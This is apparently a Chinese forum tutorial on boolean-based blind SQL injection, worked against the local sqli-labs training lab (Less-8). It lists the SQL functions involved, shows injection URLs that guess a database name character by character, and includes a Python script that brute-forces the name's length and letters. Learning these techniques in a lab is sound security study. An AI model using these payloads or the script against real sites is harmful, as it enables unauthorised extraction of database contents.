本帖最后由 Anatasha 于 2020-5-18 22:37 编辑
SQL盲注注入——布尔型 一、盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。
二、相关函数: 1、exists():用于检查 子查询是否有返回数据。 结果是 ture或者false 2、ascii():把字符转化成ascii码 3、substr():截取字符串substr(string string,num start,num length),偏移从1开始的 并不是0。 4、sleep(n):将程序挂起一段时间 n为n秒 5、if(expr1,expr2,expr3):判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句
三、步骤: 1、判断注入点 比如:注入测试加单引号id=1',会返回不正确页面
2、判断查找的数据库的长度 当前数据库database()的长度大于10,返回true页面,否则FALSE页面
3、爆破数据库名称: (1)比如: (ASCII :返回的字符的ASCII码;可以根据二分法猜测。)
当猜测第一个数据库名字母时:猜测为s,s的ASCII码为115
当猜测第二个数据库名字母时:猜测为q,q的ASCII码为113 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),2,1))=113%23
依次类推
格式二: 当猜测第一个数据库名字母时:猜测为s http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and left(database(),1)='s' --+
依次类推
(2)可以跑代码,爆破数据库长度和数据库名
import requests def database_len(): for i in range(1,10): url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php''' payload = '''?id=1' and length(database())>%s''' %i # print(url+payload+'%23') r = requests.get(url+payload+'%23') if 'You are in' in r.text: print(i)
else: #print('false') print('database_length:',i) break
database_len()
def database_name(): name = '' for j in range(1,9): for i in 'sqcwertyuioplkjhgfdazxvbnm': url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i) # print(url+'%23') r = requests.get(url+'%23') if 'You are in' in r.text: name = name+i
print(name)
break
print('database_name:',name)
database_name()
|